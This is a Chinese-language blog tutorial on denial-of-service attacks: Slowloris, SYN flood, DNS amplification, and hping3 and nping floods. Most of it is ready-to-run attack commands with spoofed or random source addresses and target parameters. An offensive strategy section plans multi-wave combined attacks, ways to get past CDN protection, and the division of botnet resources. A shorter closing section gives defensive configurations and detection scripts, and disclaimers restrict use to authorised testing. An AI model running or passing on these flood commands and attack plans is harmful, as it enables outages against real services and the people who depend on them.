高级DoS攻击技术深度解析:Slowloris、SYN Flood与Hping3实战
本文深度解析高级DoS攻击技术,重点阐述隐蔽性极强的Slowloris慢速攻击、经典的SYN Flood洪水攻击原理与Python实现,并详解Hping3工具的多种攻击模式(如TCP全标志、ICMP/UDP洪水)。通过实战演示与策略分析,为理解复杂网络攻击及构建有效防御体系提供全面指南。
前言
在上一篇文章中,我们介绍了DoS/DDoS攻击的基础理论以及SSL洪水、慢速POST等攻击技术。本文将继续深入探讨更多高级攻击手段,包括经典的Slowloris攻击、SYN Flood洪水攻击、DNS放大攻击,以及强大的Hping3工具的多种应用场景。这些技术是现代DDoS攻击的核心组成部分,理解其原理对于构建有效的防御体系至关重要。
安全警告: 本文内容仅供授权测试和学习研究。未经授权的攻击行为属于严重违法犯罪,将承担法律责任。
一、Slowloris攻击详解
1.1 攻击原理深度剖析
Slowloris是一种极其隐蔽且高效的慢速攻击方式,由RSnake在2009年发布。
HTTP协议特性:
正常的HTTP请求格式:
GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Connection: keep-alive
[空行 \r\n\r\n] ← 标志请求头结束
关键点:
- HTTP请求头必须以
\r\n\r\n(两个CRLF)结束 - 服务器收到完整请求头后才开始处理
- 在收到结束标志前,连接会一直保持打开状态
Slowloris攻击流程:
客户端 服务器
| |
|--GET / HTTP/1.1-------------->| 1. 发送部分请求头
|--Host: target.com------------>|
|--User-Agent: Mozilla--------->|
| |
| (等待10秒) | 服务器等待完整请求头
| |
|--X-a: b---------------------->| 2. 发送无意义的头部
| |
| (等待10秒) | 继续等待...
| |
|--X-c: d---------------------->| 3. 持续缓慢发送
| |
| 永不发送 \r\n\r\n | 永不结束,占用连接
攻击特点:
- 永不完整: 始终不发送
\r\n\r\n结束标志 - 保持活跃: 定期发送无意义的头部字段(如
X-a: b) - 占用连接: 服务器为每个连接分配资源并等待
- 耗尽并发: 当达到最大并发连接数时,正常用户无法访问
与Slow POST的区别:
| 特性 | Slowloris | Slow POST |
|---|---|---|
| 攻击位置 | HTTP请求头 | HTTP请求体 |
| 结束标志 | 不发\r\n\r\n |
声明大Content-Length但慢发 |
| 资源消耗 | 极低 | 低 |
| 隐蔽性 | 极高 | 高 |
| 防御难度 | 极高 | 高 |
1.2 SlowHTTPTest实现Slowloris
攻击命令:
slowhttptest -c 2000 -H -g -o my_header_stats -i 10 -r 1000 -t GET -u http://192.168.87.150 -x 24 -p 3
参数详细解析:
| 参数 | 含义 | 推荐值 | 说明 |
|---|---|---|---|
-c 2000 |
并发连接数 | 1000-5000 | 根据目标服务器配置调整 |
-H |
Slowloris模式 | 必需 | 启用慢速HTTP头攻击 |
-g |
生成统计图 | 可选 | 输出CSV格式统计数据 |
-o my_header_stats |
输出文件名 | 自定义 | 保存统计结果 |
-i 10 |
发送间隔(秒) | 5-20 | 每隔10秒发送一个无用头部 |
-r 1000 |
每秒连接速率 | 500-2000 | 快速建立大量连接 |
-t GET |
HTTP方法 | GET/POST | 使用GET请求 |
-u URL |
目标URL | 必需 | 完整的目标地址 |
-x 24 |
最大数据长度 | 10-100 | 每次发送的字节数 |
-p 3 |
超时时间(秒) | 2-5 | 连接建立超时 |
攻击效果观察:
在攻击机(Kali/Parrot):
# 实时查看连接数
watch -n 1 'slowhttptest查看输出的数字'
# 输出示例:
# test-10: waiting for 2000 connections (1856/2000)
# 括号中显示: 已建立连接数/目标连接数
在目标服务器(Windows):
# 查看连接状态
netstat -ano | findstr :80 | findstr ESTABLISHED | find /c "ESTABLISHED"
# 观察现象:
# - 连接数持续增长
# - 达到服务器并发上限后新连接被拒绝
# - CPU和内存占用相对较低
停止攻击:
# 按Ctrl+C终止
^C
# 验证服务恢复
curl http://192.168.87.150
1.3 Slowloris的威力与局限
为什么如此有效?
- 极低资源消耗:
- 每个连接只需几KB内存
- 普通家庭网络即可发起
- 单台机器可维持数千连接
- 难以检测:
- 看起来像正常但缓慢的客户端
- 没有异常的请求内容
- 流量特征不明显
- 精准打击:
- 针对Web服务器的并发限制
- 不浪费带宽
- 效果立竿见影
局限性:
- 仅对特定服务器有效(Apache 1.x/2.x、lighttpd等)
- Nginx、IIS等服务器有更好的防护
- 可以通过反向代理缓解
- 需要持续维持连接
二、SYN Flood洪水攻击
2.1 攻击原理回顾
SYN Flood是最经典的DoS攻击之一,利用TCP三次握手的缺陷。
正常三次握手:
客户端 服务器
| |
|--SYN------------->| 1. 请求连接 (seq=x)
| | 服务器分配资源
|<--SYN-ACK---------| 2. 响应 (seq=y, ack=x+1)
| |
|--ACK------------->| 3. 确认 (ack=y+1)
| | 连接建立
SYN Flood攻击:
攻击者 服务器
| |
|--SYN (伪造源IP)-->| 1. 发送SYN请求
| | 服务器分配资源
|<--SYN-ACK---------| 2. 响应发往伪造IP
| | (永远收不到回复)
| X | 3. 等待超时
| | 资源被占用60-120秒
| |
|--继续发送SYN----->| 4. 大量SYN请求
|--大量SYN--------->| 耗尽连接队列
攻击要点:
- 伪造源IP地址
- 服务器为每个半开连接分配资源
- 大量半开连接耗尽服务器的SYN队列(backlog)
- 正常用户的连接请求被拒绝
2.2 Python SYN Flood工具
下载工具:
# 克隆GitHub仓库
cd /root
git clone https://github.com/EmreOvunc/Python-SYN-Flood-Attack-Tool.git
# 进入工具目录
cd Python-SYN-Flood-Attack-Tool
查看工具文件:
ls -la
# 主要文件:
# synflood.py - Python 2版本
# py3_synflood_cmd.py - Python 3版本
# README.md - 使用说明
查看使用说明:
cat README.md
# 或者直接查看帮助
python3 py3_synflood_cmd.py -h
执行攻击:
# Python 3版本(推荐)
python3 py3_synflood_cmd.py -t 192.168.87.150 -p 80 -c 5
# Python 2版本
python2 synflood.py -t 192.168.87.150 -p 80 -c 5
参数说明:
-t: Target(目标IP地址)-p: Port(目标端口)-c: Count(发送的SYN包数量,实际会持续发送)
效果监控:
# 在目标服务器查看连接状态
netstat -ano | findstr :80 | findstr SYN_RECV
# 查看半开连接统计
netstat -nat | grep SYN_RECV | wc -l
2.3 SYN Flood的规模效应
单机攻击的局限:
- 家庭网络带宽有限(10-100 Mbps)
- IP容易被封禁
- 无法达到大规模效果
DDoS规模效应:
- 需要数百至数万台肉鸡
- 分布式发起,难以防御
- 累积流量可达数十Gbps甚至Tbps
- 现代服务器必须部署专业防护
真实案例:
- 2016年Dyn DNS攻击: 1.2 Tbps
- 2018年GitHub攻击: 1.35 Tbps
- 使用IoT设备(路由器、摄像头)组成的Mirai僵尸网络
三、DNS放大攻击
3.1 攻击原理
DNS放大攻击是一种流量放大攻击,利用DNS协议的特性将小请求放大为大响应。
放大原理:
攻击者 DNS服务器 受害者
| | |
|--小请求(64字节)--->| | 1. 伪造源IP为受害者
| 源IP: 受害者IP | |
| | |
| |--大响应(4KB+)--->| 2. DNS响应发给受害者
| | |
| | | 3. 受害者收到大量流量
放大倍数:
- 典型请求: 64字节
- 典型响应: 512-4096字节
- 放大倍数: 8-64倍
- 使用ANY查询可达到更高倍数
攻击特点:
- 以小博大: 攻击者发送小请求,受害者收到大响应
- 隐藏真实IP: 请求伪造为受害者IP
- 利用开放DNS: 使用公共DNS服务器(如8.8.8.8、114.114.114.114)
- 典型的反射型攻击: DNS服务器成为"反射器"
3.2 DNS查询实验
安装DNS工具:
apt-get install dnsutils
测试DNS查询放大效果:
# 查询QQ.com的所有记录
dig ANY qq.com @114.114.114.114
# 观察输出大小
# 请求大小: ~64字节
# 响应大小: 通常超过512字节,可能包含:
# - A记录(IPv4地址)
# - AAAA记录(IPv6地址)
# - MX记录(邮件服务器)
# - NS记录(域名服务器)
# - TXT记录(文本信息)
# - SOA记录(授权起始)
查询示例输出:
;; QUESTION SECTION:
;qq.com. IN ANY
;; ANSWER SECTION:
qq.com. 600 IN A 61.129.7.47
qq.com. 600 IN A 183.3.226.35
qq.com. 600 IN MX 10 mx1.qq.com.
qq.com. 600 IN MX 20 mx2.qq.com.
qq.com. 600 IN NS ns1.qq.com.
qq.com. 600 IN NS ns2.qq.com.
qq.com. 600 IN TXT "v=spf1 include:spf.qq.com -all"
;; Query time: 15 msec
;; MSG SIZE rcvd: 512 ← 注意响应大小
3.3 攻击实现原理
编程实现思路(仅供理解原理):
# 伪代码示例(不可直接运行)
from scapy.all import *
def dns_amplification(target_ip, dns_server):
# 构造DNS查询包
packet = IP(dst=dns_server, src=target_ip) / \ # 伪造源IP
UDP(dport=53) / \
DNS(rd=1, qd=DNSQR(qname="qq.com", qtype="ANY"))
# 持续发送
send(packet, loop=1, verbose=0)
关键步骤:
- 构造DNS查询包
- 伪造源IP为受害者IP
- 发送到开放的DNS服务器
- DNS服务器将大响应发给受害者
为什么需要学会编程:
- 现成工具可能特征明显
- 自定义工具更灵活
- 可以调整放大倍数
- 学习Python网络编程和Scapy库
3.4 防御措施
DNS服务器端:
- 限制ANY查询
- 实施速率限制(Rate Limiting)
- 配置响应速率限制(RRL)
- 禁用递归查询(针对开放解析器)
受害者端:
- 部署DDoS防护服务
- 使用流量清洗中心
- 增加带宽储备
- 实施入站流量过滤
四、Hping3万能攻击工具
4.1 Hping3简介
Hping3是一个功能强大的命令行网络工具,可以定制发送任何TCP/IP数据包。
主要功能:
- 构造自定义数据包
- 伪造源地址
- 端口扫描
- 防火墙测试
- 路径MTU发现
- 各种DoS攻击
安装:
apt-get install hping3
查看帮助:
hping3 -h
4.2 常用参数详解
| 参数 | 说明 | 示例 |
|---|---|---|
-a |
伪造源地址 | -a 1.1.1.1 |
-c |
发送包数量 | -c 1000 |
-d |
数据字节数 | -d 120 |
-S |
设置SYN标志 | -S |
-A |
设置ACK标志 | -A |
-F |
设置FIN标志 | -F |
-P |
设置PSH标志 | -P |
-R |
设置RST标志 | -R |
-U |
设置URG标志 | -U |
-p |
目标端口 | -p 80 |
-s |
源端口 | -s 53 |
-w |
TCP窗口大小 | -w 64 |
--flood |
洪水模式(最快速度) | --flood |
--rand-source |
随机源地址 | --rand-source |
-q |
安静模式(不输出) | -q |
-n |
不解析域名 | -n |
--icmp |
ICMP模式 | --icmp |
--udp |
UDP模式 | --udp |
4.3 SYN Flood攻击
基础SYN Flood:
hping3 -c 3000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.87.150
参数解析:
-c 3000: 发送3000个包(flood模式下会忽略)-d 120: 每个包120字节数据-S: 设置SYN标志-w 64: TCP窗口大小64-p 80: 目标端口80--flood: 以最快速度发送--rand-source: 随机伪造源IP
简化版SYN Flood:
hping3 -S -P -p 80 --flood --rand-source 192.168.87.150
效果:
- 目标服务器的80端口被大量SYN包淹没
- 连接队列(backlog)被占满
- 正常用户无法建立连接
- 服务器资源耗尽
4.4 TCP全标志攻击
TCP Flood(设置所有标志):
hping3 -SARUFP -p 80 --flood --rand-source 192.168.87.150
标志组合:
-S: SYN(同步)-A: ACK(确认)-R: RST(重置)-U: URG(紧急)-F: FIN(结束)-P: PSH(推送)
攻击原理:
- 发送畸形TCP包(同时设置矛盾的标志)
- 某些防火墙和服务器处理不当会崩溃
- 消耗服务器CPU资源
- 触发异常处理逻辑
4.5 ICMP Flood攻击
ICMP洪水:
hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood 192.168.87.150
参数说明:
-q: 安静模式,不显示输出-n: 不解析域名(加快速度)-a 1.1.1.1: 伪造源地址为1.1.1.1--icmp: ICMP模式-d 56: 每个包56字节(标准ping大小)--flood: 洪水模式
攻击特点:
- 相当于高速批量发送ping包
- 主要消耗网络带宽
- CPU和端口消耗较低
- 容易被防火墙过滤
抓包观察:
# 在目标机器抓包
tcpdump -i eth0 icmp -n
# 会看到大量来自1.1.1.1的ICMP Echo Request
4.6 UDP Flood攻击
UDP洪水:
hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood 192.168.87.150
参数解析:
-a 1.1.1.1: 伪造源IP--udp: UDP模式-s 53: 源端口53(DNS)-d 100: 每个包100字节-p 53: 目标端口53(DNS)--flood: 洪水模式
攻击特点:
- 针对特定UDP服务(如DNS、NTP)
- UDP无连接,无需握手
- 可以完全伪造源地址
- 适合反射放大攻击
实战建议:
- 选择目标服务的关键端口
- DNS(53)、NTP(123)、SNMP(161)
- 结合放大攻击效果更好
4.7 LAND攻击
LAND(Local Area Network Denial):
hping3 -n -a 192.168.87.150 -S -d 100 -p 80 --flood 192.168.87.150
攻击原理:
- 源地址和目标地址都是受害者IP
- 受害者向自己发起SYN请求
- 自己回复SYN-ACK给自己
- 形成死循环,消耗资源
效果:
- 特殊的SYN Flood变种
- 某些老旧系统会因此崩溃
- 现代系统多已修复此漏洞
- 主要针对古董级设备
4.8 TCP全连接攻击
使用Nping进行全连接攻击:
nping --tcp-connect --rate=10000 -c 100000000 -q 192.168.87.150
参数说明:
--tcp-connect: 完成三次握手(全连接)--rate=10000: 每秒10000次连接-c 100000000: 总共1亿次连接-q: 安静模式
与SYN Flood对比:
| 特性 | SYN Flood | TCP全连接 |
|---|---|---|
| 握手完成 | 否(半开) | 是(全连接) |
| 资源消耗 | 服务器高,攻击者低 | 双方都高 |
| 检测难度 | 容易(大量半开) | 较难(正常连接) |
| 伪造源IP | 可以 | 不可以 |
| 连接状态 | SYN_RECV | ESTABLISHED |
攻击特点:
- 建立真实的TCP连接
- 占用服务器连接资源
- 消耗比慢速攻击高
- 无法伪造源IP(需要完成握手)
- 更接近真实用户行为
五、攻击策略与组合
5.1 攻击类型对比
| 攻击类型 | 带宽消耗 | CPU消耗 | 内存消耗 | 隐蔽性 | 防御难度 |
|---|---|---|---|---|---|
| Slowloris | 极低 | 极低 | 低 | ★★★★★ | ★★★★★ |
| SYN Flood | 中 | 中 | 中 | ★★★☆☆ | ★★★☆☆ |
| DNS放大 | 极高 | 低 | 低 | ★★★★☆ | ★★★★☆ |
| ICMP Flood | 高 | 低 | 低 | ★☆☆☆☆ | ★★☆☆☆ |
| UDP Flood | 高 | 低 | 低 | ★★☆☆☆ | ★★★☆☆ |
| TCP全连接 | 中 | 中 | 中高 | ★★★★☆ | ★★★★☆ |
5.2 组合攻击策略
多层攻击:
- 第一波: ICMP/UDP Flood耗尽带宽
- 第二波: SYN Flood占满连接队列
- 第三波: Slowloris维持长期占用
- 第四波: 应用层攻击(如SQL注入)
分散目标:
- 同时攻击Web服务器(80/443)
- 攻击DNS服务器(53)
- 攻击邮件服务器(25/110/143)
- 全方位瘫痪基础设施
5.3 实战考量
选择合适的攻击方式:
- 内网环境 → Slowloris、SYN Flood
- 外网高带宽目标 → DNS放大、UDP Flood
- 有CDN防护 → 应用层攻击(Slowloris)
- 防火墙严格 → TCP全连接攻击
肉鸡资源分配:
- 10%: 侦察和测试
- 60%: 主攻击流量
- 20%: 备用轮换
- 10%: 应急响应
六、防御与检测
6.1 针对性防御
防御Slowloris:
# Nginx配置
http {
client_header_timeout 10s;
client_body_timeout 10s;
keepalive_timeout 10s;
}
防御SYN Flood:
# Linux内核参数
sysctl -w net.ipv4.tcp_syncookies=1
sysctl -w net.ipv4.tcp_max_syn_backlog=4096
sysctl -w net.ipv4.tcp_synack_retries=1
防御DNS放大:
# BIND DNS配置
options {
rate-limit {
responses-per-second 5;
};
# 禁用ANY查询
minimal-any yes;
};
6.2 检测异常流量
实时监控脚本:
#!/bin/bash
# 检测SYN Flood
while true; do
syn_count=$(netstat -nat | grep SYN_RECV | wc -l)
if [ $syn_count -gt 100 ]; then
echo "警告: 检测到SYN Flood攻击! 半开连接数: $syn_count"
fi
sleep 1
done
查看攻击来源:
# 统计连接最多的IP
netstat -nat | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -10
6.3 应急处理
临时封禁:
# 封禁单个IP
iptables -A INPUT -s [攻击IP] -j DROP
# 限制SYN速率
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP
# 限制ICMP
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
七、学习与实践
7.1 实验环境建议
隔离网络:
[攻击机] ← → [虚拟交换机] ← → [目标机]
↓
[监控机(抓包)]
推荐配置:
- 攻击机: Kali/Parrot (2核2G)
- 目标机: Ubuntu Server + Apache (2核1G)
- 监控机: Wireshark抓包分析
7.2 学习路径
初级阶段(理解原理):
- 搭建虚拟实验环境
- 逐个测试每种攻击
- 使用Wireshark观察数据包
- 理解TCP/IP协议栈
中级阶段(实战应用):
- 学习Scapy库编写自定义攻击脚本
- 研究防御配置和规则
- 分析真实攻击流量样本
- 掌握应急响应流程
高级阶段(攻防对抗):
- 研究最新DDoS技术(HTTP/2 Flood、QUIC攻击)
- 学习流量清洗和分析技术
- 参与CTF竞赛和红蓝对抗
- 开发自动化防御系统
7.3 实用工具推荐
攻击测试工具:
- Hping3: 底层数据包构造
- Scapy: Python网络编程
- LOIC/HOIC: 图形化DDoS工具
- GoldenEye: HTTP/HTTPS Slowloris
防御分析工具:
- Wireshark: 数据包分析
- tcpdump: 命令行抓包
- iftop: 实时流量监控
- Fail2Ban: 自动封禁
- ModSecurity: Web应用防火墙
总结
本文深入探讨了多种高级DoS攻击技术,从Slowloris的极致隐蔽到SYN Flood的经典暴力,从DNS放大的四两拨千斤到Hping3的万能定制,每种技术都有其独特的应用场景和防御挑战。
核心要点回顾:
- Slowloris是最隐蔽的攻击 - 极低资源消耗,极高效果
- SYN Flood是最经典的攻击 - 利用TCP协议缺陷,需要规模化
- DNS放大是最聪明的攻击 - 以小博大,利用反射机制
- Hping3是最灵活的工具 - 可以构造任意数据包,万能武器
- 组合攻击效果最好 - 多层攻击,全方位打击
- 防御需要多层体系 - 单一防护措施不足以应对
- 学习编程至关重要 - 自定义工具才能真正理解原理
安全启示:
- 理解攻击原理才能构建有效防御
- 攻防是动态对抗的过程
- 技术是中性的,关键在于使用者的目的
- 合法合规是学习和应用的前提
实践建议:
- 在隔离环境中充分实验
- 使用Wireshark深入分析数据包
- 学习Python和Scapy进行二次开发
- 关注最新的攻防技术动态
- 参与合法的CTF竞赛和演练
最后提醒: DoS/DDoS攻击是严重的网络犯罪行为。本文介绍的所有技术仅供授权测试、学习研究和防御体系建设使用。未经授权对任何系统发起攻击将面临法律制裁。请始终在合法合规的框架内学习和应用网络安全技术。
免责声明: 作者和发布平台对因使用本文技术造成的任何后果不承担责任。读者应自行判断并遵守当地法律法规。
更多推荐


所有评论(0)